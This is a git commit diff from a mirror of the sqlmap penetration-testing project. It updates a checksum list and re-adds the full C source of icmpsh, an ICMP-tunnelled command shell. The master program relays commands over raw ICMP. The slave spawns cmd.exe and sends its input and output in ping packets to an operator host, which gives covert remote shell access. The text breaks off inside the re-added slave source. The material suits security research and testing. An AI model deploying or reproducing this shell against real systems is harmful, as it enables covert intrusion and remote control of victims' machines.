mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-01-29 11:45:48 +03:00
Adding some better heuristics into the checkSums
This commit is contained in:
parent
360dc478c0
commit
f7fb153fdd
|
|
@ -125,21 +125,21 @@ c4590a37dc1372be29b9ba8674b5e12bcda6ab62c5b2d18dab20bcb73a4ffbeb doc/translatio
|
|||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/dbgtool/__init__.py
|
||||
a777193f683475c63f0dd3916f86c4b473459640c3278ff921432836bc75c47f extra/dbgtool/README.txt
|
||||
b7557edb216f65056d359cd48f3191a642cf3a1838a422a67ffbef17b58535d7 extra/icmpsh/icmpsh.exe_
|
||||
2fcce0028d9dd0acfaec497599d6445832abad8e397e727967c31c834d04d598 extra/icmpsh/icmpsh-m.c
|
||||
4838389bf1ceac806dff075e06c5be9c0637425f37c67053a4361a5f1b88a65c extra/icmpsh/icmpsh-m.c
|
||||
8c38efaaf8974f9d08d9a743a7403eb6ae0a57b536e0d21ccb022f2c55a16016 extra/icmpsh/icmpsh-m.pl
|
||||
12014ddddc09c58ef344659c02fd1614157cfb315575378f2c8cb90843222733 extra/icmpsh/icmpsh_m.py
|
||||
1589e5edeaf80590d4d0ce1fd12aa176730d5eba3bfd72a9f28d3a1a9353a9db extra/icmpsh/icmpsh-s.c
|
||||
6359bfef76fb5c887bb89c2241f6d65647308856f8d3ce3e10bf3fdde605e120 extra/icmpsh/icmpsh-s.c
|
||||
ab6ee3ee9f8600e39faecfdaa11eaa3bed6f15ccef974bb904b96bf95e980c40 extra/icmpsh/__init__.py
|
||||
27af6b7ec0f689e148875cb62c3acb4399d3814ba79908220b29e354a8eed4b8 extra/icmpsh/README.txt
|
||||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/__init__.py
|
||||
191e3e397b83294082022de178f977f2c59fa99c96e5053375f6c16114d6777e extra/runcmd/README.txt
|
||||
53d98136e508330e3adad43e4a3b0ebc5143c79f0ee7bce5dacf92cb8f7a17fd extra/runcmd/runcmd.exe_
|
||||
70bd8a15e912f06e4ba0bd612a5f19a6b35ed0945b1e370f9b8700b120272d8f extra/runcmd/src/README.txt
|
||||
084aea8f337e1aed405a581603324ec01951eadcfd7b4eefaf3000b73f8b2e1e extra/runcmd/src/runcmd/runcmd.cpp
|
||||
e5c02d18abf544eebd18bd789121eaee4d638bae687402feafdd6daec18e82a1 extra/runcmd/src/runcmd/runcmd.vcproj
|
||||
7c2a12c21b61f727a2b3c6e85bd098e7f8a8b585a74b5eb31eb676ac776d5d57 extra/runcmd/src/runcmd.sln
|
||||
5e67c579a62715812a56731396d4cb432f16774a69f82629c6a3218174333605 extra/runcmd/src/runcmd/stdafx.cpp
|
||||
7bd768f3a742dcebddbe76de26eeee1438355d8600fb19dce945eef6486a3edb extra/runcmd/src/runcmd/stdafx.h
|
||||
baecf66c52fe3c39f7efa3a70f9d5bd6ea8f841abd8da9e6e11bdc80a995b3ae extra/runcmd/src/runcmd/runcmd.cpp
|
||||
a24d2dc1a5a8688881bea6be358359626d339d4a93ea55e8b756615e3608b8dd extra/runcmd/src/runcmd/runcmd.vcproj
|
||||
16d4453062ba3806fe6b62745757c66bf44748d25282263fe9ef362487b27db0 extra/runcmd/src/runcmd.sln
|
||||
d4186cac6e736bdfe64db63aa00395a862b5fe5c78340870f0c79cae05a79e7d extra/runcmd/src/runcmd/stdafx.cpp
|
||||
e278d40d3121d757c2e1b8cc8192397e5014f663fbf6d80dd1118443d4fc9442 extra/runcmd/src/runcmd/stdafx.h
|
||||
38f59734b971d1dc200584936693296aeebef3e43e9e85d6ec3fd6427e5d6b4b extra/shellcodeexec/linux/shellcodeexec.x32_
|
||||
b8bcb53372b8c92b27580e5cc97c8aa647e156a439e2306889ef892a51593b17 extra/shellcodeexec/linux/shellcodeexec.x64_
|
||||
cfa1f8d02f815c4e8561f6adbdd4e84dda6b6af6c7a0d5eeb9d7346d07e1e7ad extra/shellcodeexec/README.txt
|
||||
|
|
@ -167,7 +167,7 @@ e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller
|
|||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py
|
||||
2a96190ced25d8929861b13866101812fcadf5cac23dd1dd4b29b1a915918769 lib/core/agent.py
|
||||
b13462712ec5ac07541dba98631ddcda279d210b838f363d15ac97a1413b67a2 lib/core/bigarray.py
|
||||
89b993f6f640baaf8ff27da0970963c3673e881552e2d142c1c30c4f7323e59d lib/core/common.py
|
||||
90b2abd849a15f6b75bae6bf650aecf70e4f2fec4c01776a22a0c3474b7ab6f2 lib/core/common.py
|
||||
a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py
|
||||
a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py
|
||||
c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py
|
||||
|
|
@ -188,7 +188,7 @@ c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/optio
|
|||
48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py
|
||||
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
|
||||
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
|
||||
db148648a411e4136dc4fefe15651c726ea3f718c27b53e413c3b850fb229b79 lib/core/settings.py
|
||||
1070a6f04c9fd65bfe323d5258f29d68804af178ab3a36702b8a3fd1f04a0239 lib/core/settings.py
|
||||
cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py
|
||||
bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py
|
||||
d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py
|
||||
|
|
|
|||
|
|
@ -1,134 +1,134 @@
|
|||
/*
|
||||
* icmpsh - simple icmp command shell
|
||||
* Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/stat.h>
|
||||
#include <netinet/in.h>
|
||||
#include <netinet/ip_icmp.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#define IN_BUF_SIZE 1024
|
||||
#define OUT_BUF_SIZE 64
|
||||
|
||||
// calculate checksum
|
||||
unsigned short checksum(unsigned short *ptr, int nbytes)
|
||||
{
|
||||
unsigned long sum;
|
||||
unsigned short oddbyte, rs;
|
||||
|
||||
sum = 0;
|
||||
while(nbytes > 1) {
|
||||
sum += *ptr++;
|
||||
nbytes -= 2;
|
||||
}
|
||||
|
||||
if(nbytes == 1) {
|
||||
oddbyte = 0;
|
||||
*((unsigned char *) &oddbyte) = *(u_char *)ptr;
|
||||
sum += oddbyte;
|
||||
}
|
||||
|
||||
sum = (sum >> 16) + (sum & 0xffff);
|
||||
sum += (sum >> 16);
|
||||
rs = ~sum;
|
||||
return rs;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int sockfd;
|
||||
int flags;
|
||||
char in_buf[IN_BUF_SIZE];
|
||||
char out_buf[OUT_BUF_SIZE];
|
||||
unsigned int out_size;
|
||||
int nbytes;
|
||||
struct iphdr *ip;
|
||||
struct icmphdr *icmp;
|
||||
char *data;
|
||||
struct sockaddr_in addr;
|
||||
|
||||
|
||||
printf("icmpsh - master\n");
|
||||
|
||||
// create raw ICMP socket
|
||||
sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
|
||||
if (sockfd == -1) {
|
||||
perror("socket");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// set stdin to non-blocking
|
||||
flags = fcntl(0, F_GETFL, 0);
|
||||
flags |= O_NONBLOCK;
|
||||
fcntl(0, F_SETFL, flags);
|
||||
|
||||
printf("running...\n");
|
||||
while(1) {
|
||||
|
||||
// read data from socket
|
||||
memset(in_buf, 0x00, IN_BUF_SIZE);
|
||||
nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);
|
||||
if (nbytes > 0) {
|
||||
// get ip and icmp header and data part
|
||||
ip = (struct iphdr *) in_buf;
|
||||
if (nbytes > sizeof(struct iphdr)) {
|
||||
nbytes -= sizeof(struct iphdr);
|
||||
icmp = (struct icmphdr *) (ip + 1);
|
||||
if (nbytes > sizeof(struct icmphdr)) {
|
||||
nbytes -= sizeof(struct icmphdr);
|
||||
data = (char *) (icmp + 1);
|
||||
data[nbytes] = '\0';
|
||||
printf("%s", data);
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
// reuse headers
|
||||
icmp->type = 0;
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_addr.s_addr = ip->saddr;
|
||||
|
||||
// read data from stdin
|
||||
nbytes = read(0, out_buf, OUT_BUF_SIZE);
|
||||
if (nbytes > -1) {
|
||||
memcpy((char *) (icmp + 1), out_buf, nbytes);
|
||||
out_size = nbytes;
|
||||
} else {
|
||||
out_size = 0;
|
||||
}
|
||||
|
||||
icmp->checksum = 0x00;
|
||||
icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);
|
||||
|
||||
// send reply
|
||||
nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr));
|
||||
if (nbytes == -1) {
|
||||
perror("sendto");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* icmpsh - simple icmp command shell
|
||||
* Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/stat.h>
|
||||
#include <netinet/in.h>
|
||||
#include <netinet/ip_icmp.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#define IN_BUF_SIZE 1024
|
||||
#define OUT_BUF_SIZE 64
|
||||
|
||||
// calculate checksum
|
||||
unsigned short checksum(unsigned short *ptr, int nbytes)
|
||||
{
|
||||
unsigned long sum;
|
||||
unsigned short oddbyte, rs;
|
||||
|
||||
sum = 0;
|
||||
while(nbytes > 1) {
|
||||
sum += *ptr++;
|
||||
nbytes -= 2;
|
||||
}
|
||||
|
||||
if(nbytes == 1) {
|
||||
oddbyte = 0;
|
||||
*((unsigned char *) &oddbyte) = *(u_char *)ptr;
|
||||
sum += oddbyte;
|
||||
}
|
||||
|
||||
sum = (sum >> 16) + (sum & 0xffff);
|
||||
sum += (sum >> 16);
|
||||
rs = ~sum;
|
||||
return rs;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int sockfd;
|
||||
int flags;
|
||||
char in_buf[IN_BUF_SIZE];
|
||||
char out_buf[OUT_BUF_SIZE];
|
||||
unsigned int out_size;
|
||||
int nbytes;
|
||||
struct iphdr *ip;
|
||||
struct icmphdr *icmp;
|
||||
char *data;
|
||||
struct sockaddr_in addr;
|
||||
|
||||
|
||||
printf("icmpsh - master\n");
|
||||
|
||||
// create raw ICMP socket
|
||||
sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
|
||||
if (sockfd == -1) {
|
||||
perror("socket");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// set stdin to non-blocking
|
||||
flags = fcntl(0, F_GETFL, 0);
|
||||
flags |= O_NONBLOCK;
|
||||
fcntl(0, F_SETFL, flags);
|
||||
|
||||
printf("running...\n");
|
||||
while(1) {
|
||||
|
||||
// read data from socket
|
||||
memset(in_buf, 0x00, IN_BUF_SIZE);
|
||||
nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);
|
||||
if (nbytes > 0) {
|
||||
// get ip and icmp header and data part
|
||||
ip = (struct iphdr *) in_buf;
|
||||
if (nbytes > sizeof(struct iphdr)) {
|
||||
nbytes -= sizeof(struct iphdr);
|
||||
icmp = (struct icmphdr *) (ip + 1);
|
||||
if (nbytes > sizeof(struct icmphdr)) {
|
||||
nbytes -= sizeof(struct icmphdr);
|
||||
data = (char *) (icmp + 1);
|
||||
data[nbytes] = '\0';
|
||||
printf("%s", data);
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
// reuse headers
|
||||
icmp->type = 0;
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_addr.s_addr = ip->saddr;
|
||||
|
||||
// read data from stdin
|
||||
nbytes = read(0, out_buf, OUT_BUF_SIZE);
|
||||
if (nbytes > -1) {
|
||||
memcpy((char *) (icmp + 1), out_buf, nbytes);
|
||||
out_size = nbytes;
|
||||
} else {
|
||||
out_size = 0;
|
||||
}
|
||||
|
||||
icmp->checksum = 0x00;
|
||||
icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);
|
||||
|
||||
// send reply
|
||||
nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr));
|
||||
if (nbytes == -1) {
|
||||
perror("sendto");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -1,344 +1,344 @@
|
|||
/*
|
||||
* icmpsh - simple icmp command shell
|
||||
* Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <winsock2.h>
|
||||
#include <windows.h>
|
||||
#include <winsock2.h>
|
||||
#include <iphlpapi.h>
|
||||
|
||||
#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8)
|
||||
|
||||
#define STATUS_OK 0
|
||||
#define STATUS_SINGLE 1
|
||||
#define STATUS_PROCESS_NOT_CREATED 2
|
||||
|
||||
#define TRANSFER_SUCCESS 1
|
||||
#define TRANSFER_FAILURE 0
|
||||
|
||||
#define DEFAULT_TIMEOUT 3000
|
||||
#define DEFAULT_DELAY 200
|
||||
#define DEFAULT_MAX_BLANKS 10
|
||||
#define DEFAULT_MAX_DATA_SIZE 64
|
||||
|
||||
FARPROC icmp_create, icmp_send, to_ip;
|
||||
|
||||
int verbose = 0;
|
||||
|
||||
int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
|
||||
{
|
||||
SECURITY_ATTRIBUTES sattr;
|
||||
STARTUPINFOA si;
|
||||
HANDLE in_read, out_write;
|
||||
|
||||
memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
|
||||
memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
|
||||
|
||||
// create communication pipes
|
||||
memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
|
||||
sattr.nLength = sizeof(SECURITY_ATTRIBUTES);
|
||||
sattr.bInheritHandle = TRUE;
|
||||
sattr.lpSecurityDescriptor = NULL;
|
||||
|
||||
if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
|
||||
return STATUS_PROCESS_NOT_CREATED;
|
||||
}
|
||||
if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
|
||||
return STATUS_PROCESS_NOT_CREATED;
|
||||
}
|
||||
|
||||
if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
|
||||
return STATUS_PROCESS_NOT_CREATED;
|
||||
}
|
||||
if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
|
||||
return STATUS_PROCESS_NOT_CREATED;
|
||||
}
|
||||
|
||||
// spawn process
|
||||
memset(&si, 0x00, sizeof(STARTUPINFO));
|
||||
si.cb = sizeof(STARTUPINFO);
|
||||
si.hStdError = out_write;
|
||||
si.hStdOutput = out_write;
|
||||
si.hStdInput = in_read;
|
||||
si.dwFlags |= STARTF_USESTDHANDLES;
|
||||
|
||||
if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
|
||||
return STATUS_PROCESS_NOT_CREATED;
|
||||
}
|
||||
|
||||
CloseHandle(out_write);
|
||||
CloseHandle(in_read);
|
||||
|
||||
return STATUS_OK;
|
||||
}
|
||||
|
||||
void usage(char *path)
|
||||
{
|
||||
printf("%s [options] -t target\n", path);
|
||||
printf("options:\n");
|
||||
printf(" -t host host ip address to send ping requests to\n");
|
||||
printf(" -r send a single test icmp request and then quit\n");
|
||||
printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY);
|
||||
printf(" -o milliseconds timeout in milliseconds\n");
|
||||
printf(" -h this screen\n");
|
||||
printf(" -b num maximal number of blanks (unanswered icmp requests)\n");
|
||||
printf(" before quitting\n");
|
||||
printf(" -s bytes maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
|
||||
printf("In order to improve the speed, lower the delay (-d) between requests or\n");
|
||||
printf("increase the size (-s) of the data buffer\n");
|
||||
}
|
||||
|
||||
void create_icmp_channel(HANDLE *icmp_chan)
|
||||
{
|
||||
// create icmp file
|
||||
*icmp_chan = (HANDLE) icmp_create();
|
||||
}
|
||||
|
||||
int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
|
||||
{
|
||||
int rs;
|
||||
char *temp_in_buf;
|
||||
int nbytes;
|
||||
|
||||
PICMP_ECHO_REPLY echo_reply;
|
||||
|
||||
temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
|
||||
if (!temp_in_buf) {
|
||||
return TRANSFER_FAILURE;
|
||||
}
|
||||
|
||||
// send data to remote host
|
||||
rs = icmp_send(
|
||||
icmp_chan,
|
||||
target,
|
||||
out_buf,
|
||||
out_buf_size,
|
||||
NULL,
|
||||
temp_in_buf,
|
||||
max_in_data_size + ICMP_HEADERS_SIZE,
|
||||
timeout);
|
||||
|
||||
// check received data
|
||||
if (rs > 0) {
|
||||
echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
|
||||
if (echo_reply->DataSize > max_in_data_size) {
|
||||
nbytes = max_in_data_size;
|
||||
} else {
|
||||
nbytes = echo_reply->DataSize;
|
||||
}
|
||||
memcpy(in_buf, echo_reply->Data, nbytes);
|
||||
*in_buf_size = nbytes;
|
||||
|
||||
free(temp_in_buf);
|
||||
return TRANSFER_SUCCESS;
|
||||
}
|
||||
|
||||
free(temp_in_buf);
|
||||
|
||||
return TRANSFER_FAILURE;
|
||||
}
|
||||
|
||||
int load_deps()
|
||||
{
|
||||
HMODULE lib;
|
||||
|
||||
lib = LoadLibraryA("ws2_32.dll");
|
||||
if (lib != NULL) {
|
||||
to_ip = GetProcAddress(lib, "inet_addr");
|
||||
if (!to_ip) {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
lib = LoadLibraryA("iphlpapi.dll");
|
||||
if (lib != NULL) {
|
||||
icmp_create = GetProcAddress(lib, "IcmpCreateFile");
|
||||
icmp_send = GetProcAddress(lib, "IcmpSendEcho");
|
||||
if (icmp_create && icmp_send) {
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
lib = LoadLibraryA("ICMP.DLL");
|
||||
if (lib != NULL) {
|
||||
icmp_create = GetProcAddress(lib, "IcmpCreateFile");
|
||||
icmp_send = GetProcAddress(lib, "IcmpSendEcho");
|
||||
if (icmp_create && icmp_send) {
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
printf("failed to load functions (%u)", GetLastError());
|
||||
|
||||
return 0;
|
||||
}
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int opt;
|
||||
char *target;
|
||||
unsigned int delay, timeout;
|
||||
unsigned int ip_addr;
|
||||
HANDLE pipe_read, pipe_write;
|
||||
HANDLE icmp_chan;
|
||||
unsigned char *in_buf, *out_buf;
|
||||
unsigned int in_buf_size, out_buf_size;
|
||||
DWORD rs;
|
||||
int blanks, max_blanks;
|
||||
PROCESS_INFORMATION pi;
|
||||
int status;
|
||||
unsigned int max_data_size;
|
||||
|
||||
// set defaults
|
||||
target = 0;
|
||||
timeout = DEFAULT_TIMEOUT;
|
||||
delay = DEFAULT_DELAY;
|
||||
max_blanks = DEFAULT_MAX_BLANKS;
|
||||
max_data_size = DEFAULT_MAX_DATA_SIZE;
|
||||
|
||||
status = STATUS_OK;
|
||||
if (!load_deps()) {
|
||||
printf("failed to load ICMP library\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// parse command line options
|
||||
for (opt = 1; opt < argc; opt++) {
|
||||
if (argv[opt][0] == '-') {
|
||||
switch(argv[opt][1]) {
|
||||
case 'h':
|
||||
usage(*argv);
|
||||
return 0;
|
||||
case 't':
|
||||
if (opt + 1 < argc) {
|
||||
target = argv[opt + 1];
|
||||
}
|
||||
break;
|
||||
case 'd':
|
||||
if (opt + 1 < argc) {
|
||||
delay = atol(argv[opt + 1]);
|
||||
}
|
||||
break;
|
||||
case 'o':
|
||||
if (opt + 1 < argc) {
|
||||
timeout = atol(argv[opt + 1]);
|
||||
}
|
||||
break;
|
||||
case 'r':
|
||||
status = STATUS_SINGLE;
|
||||
break;
|
||||
case 'b':
|
||||
if (opt + 1 < argc) {
|
||||
max_blanks = atol(argv[opt + 1]);
|
||||
}
|
||||
break;
|
||||
case 's':
|
||||
if (opt + 1 < argc) {
|
||||
max_data_size = atol(argv[opt + 1]);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
printf("unrecognized option -%c\n", argv[1][0]);
|
||||
usage(*argv);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!target) {
|
||||
printf("you need to specify a host with -t. Try -h for more options\n");
|
||||
return -1;
|
||||
}
|
||||
ip_addr = to_ip(target);
|
||||
|
||||
// don't spawn a shell if we're only sending a single test request
|
||||
if (status != STATUS_SINGLE) {
|
||||
status = spawn_shell(&pi, &pipe_read, &pipe_write);
|
||||
}
|
||||
|
||||
// create icmp channel
|
||||
create_icmp_channel(&icmp_chan);
|
||||
if (icmp_chan == INVALID_HANDLE_VALUE) {
|
||||
printf("unable to create ICMP file: %u\n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
// allocate transfer buffers
|
||||
in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
|
||||
out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
|
||||
if (!in_buf || !out_buf) {
|
||||
printf("failed to allocate memory for transfer buffers\n");
|
||||
return -1;
|
||||
}
|
||||
memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
|
||||
memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
|
||||
|
||||
// sending/receiving loop
|
||||
blanks = 0;
|
||||
do {
|
||||
|
||||
switch(status) {
|
||||
case STATUS_SINGLE:
|
||||
// reply with a static string
|
||||
out_buf_size = sprintf(out_buf, "Test1234\n");
|
||||
break;
|
||||
case STATUS_PROCESS_NOT_CREATED:
|
||||
// reply with error message
|
||||
out_buf_size = sprintf(out_buf, "Process was not created\n");
|
||||
break;
|
||||
default:
|
||||
// read data from process via pipe
|
||||
out_buf_size = 0;
|
||||
if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
|
||||
if (out_buf_size > 0) {
|
||||
out_buf_size = 0;
|
||||
rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
|
||||
if (!rs && GetLastError() != ERROR_IO_PENDING) {
|
||||
out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError());
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
// send request/receive response
|
||||
if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) {
|
||||
if (status == STATUS_OK) {
|
||||
// write data from response back into pipe
|
||||
WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
|
||||
}
|
||||
blanks = 0;
|
||||
} else {
|
||||
// no reply received or error occured
|
||||
blanks++;
|
||||
}
|
||||
|
||||
// wait between requests
|
||||
Sleep(delay);
|
||||
|
||||
} while (status == STATUS_OK && blanks < max_blanks);
|
||||
|
||||
if (status == STATUS_OK) {
|
||||
TerminateProcess(pi.hProcess, 0);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* icmpsh - simple icmp command shell
|
||||
* Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <winsock2.h>
|
||||
#include <windows.h>
|
||||
#include <winsock2.h>
|
||||
#include <iphlpapi.h>
|
||||
|
||||
#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8)
|
||||
|
||||
#define STATUS_OK 0
|
||||
#define STATUS_SINGLE 1
|
||||
#define STATUS_PROCESS_NOT_CREATED 2
|
||||
|
||||
#define TRANSFER_SUCCESS 1
|
||||
#define TRANSFER_FAILURE 0
|
||||
|
||||
#define DEFAULT_TIMEOUT 3000
|
||||
#define DEFAULT_DELAY 200
|
||||
#define DEFAULT_MAX_BLANKS 10
|
||||
#define DEFAULT_MAX_DATA_SIZE 64
|
||||
|
||||
FARPROC icmp_create, icmp_send, to_ip;
|
||||
|
||||
int verbose = 0;
|
||||
|
||||
int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
|
||||
{
|
||||
SECURITY_ATTRIBUTES sattr;
|
||||
STARTUPINFOA si;
|
||||
HANDLE in_read, out_write;
|
||||
|
||||
memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
|
||||
memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
|
||||
|
||||
// create communication pipes
|
||||
memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
|
||||
sattr.nLength = sizeof(SECURITY_ATTRIBUTES);
|
||||
sattr.bInheritHandle = TRUE;
|
||||
sattr.lpSecurityDescriptor = NULL;
|
||||
|
||||
if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
|
||||
return STATUS_PROCESS_NOT_CREATED;
|
||||
}
|
||||
if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
|
||||
return STATUS_PROCESS_NOT_CREATED;
|
||||
}
|
||||
|
||||
if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
|
||||
return STATUS_PROCESS_NOT_CREATED;
|
||||
}
|
||||
if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
|
||||
return STATUS_PROCESS_NOT_CREATED;
|
||||
